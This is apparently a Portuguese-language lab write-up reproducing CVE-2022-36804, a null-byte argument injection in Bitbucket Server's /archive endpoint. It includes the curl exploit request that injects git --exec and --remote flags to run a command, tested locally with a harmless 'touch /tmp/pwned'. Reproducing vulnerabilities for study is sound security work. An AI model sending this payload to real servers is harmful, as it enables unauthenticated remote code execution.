
Investigating CVE-2022-36804
Recriando uma vulnerabilidade de execução remota de código onde o Bitbucket falha ao sanitizar a entrada do usuário, permitindo que atacantes injetem flags do Git e executem código remotamente.
Este repositório documenta como reproduzi a vulnerabilidade CVE-2022-36804, um problema de injeção de argumentos sem pré-autenticação no Bitbucket Server. O objetivo foi demonstrar o problema de segurança subjacente conforme descrito no artigo público da Assetnote. Todos os testes foram realizados em um ambiente local isolado.
CVE-2022-36804 é causada pelo Bitbucket passar a entrada do usuário diretamente para um subprocesso git archive sem sanitizar bytes nulos. Como o Bitbucket usa o NuProcess para iniciar o git, os bytes nulos são preservados e causam divisão de argumentos. Isso permite que um atacante injete flags extras do git no comando. Em versões vulneráveis (como a 7.21.0 usada nesta configuração) isso leva à execução remota de código sem autenticação.
Essa vulnerabilidade de execução remota de código sem pré-autenticação ocorre no endpoint /archive, responsável por gerar arquivos de repositório com a função git archive. O Bitbucket passa o parâmetro prefix diretamente para o subprocesso git, mas sem sanitizar bytes nulos. Como o git é implementado em C, um byte nulo termina a string prematuramente. Portanto, tudo após o byte nulo é interpretado como um argumento de linha de comando separado. Isso permite que o atacante injete flags arbitrárias do git no comando.
Isso funciona porque o Bitbucket usa o NuProcess, que preserva bytes nulos em vez de removê-los. Como resultado, o Git recebe a entrada bruta exatamente como fornecida pelo usuário. Como o git trata bytes nulos como terminadores de string, o valor prefix é dividido em vários argumentos quando passado para o subprocesso git. Isso permite ocultar flags adicionais do git após o byte nulo. Quando combinado com flags como --exec e --remote, essa injeção de argumento leva diretamente à execução remota de código em versões vulneráveis do Bitbucket Server.
TEST/demo)Para iniciar o ambiente:
docker compose up -d
Verificar versão:
cat /opt/atlassian/bitbucket/VERSION
A chave para este CVE é mostrar que um byte nulo no parâmetro prefix faz com que o Bitbucket passe múltiplos argumentos para git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Mantenha o pspy em execução.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
Isso testa se o byte nulo causa divisão de argumentos.
No pspy, o Bitbucket gera:
/usr/bin/git archive --format=zip --prefix=test canary/ --
Aqui test e canary aparecem como argumentos separados em vez de um único. O %00 dividiu a entrada e o Bitbucket é forçado a passá-los como argumentos independentes para o git.
A imagem abaixo mostra o pspy em execução dentro do contêiner Docker do Bitbucket capturando /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). O que foi enviado como um único valor - test%00canary - é passado como dois argumentos separados. O byte nulo dividiu a entrada, o que insere um argumento extra no comando git.
Ao injetar --exec=touch /tmp/pwned e --remote=file:///... através de bytes nulos, o servidor executa um comando arbitrário. Embora o git saia com código 128, o comando é executado antes do git dar o erro e /tmp/pwned é criado dentro do contêiner.
Payload:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
A imagem abaixo mostra o pspy capturando a cadeia de execução completa - /usr/bin/git archive executando com argumentos --exec e --remote (PID=74412), gerando /bin/sh touch /tmp/pwned (PID=74413)

Com docker exec -it bitbucket ls -la /tmp/pwned foi possível verificar que o arquivo foi criado.
Isso é mostrado na imagem abaixo.

Johan - Estocolmo, Suécia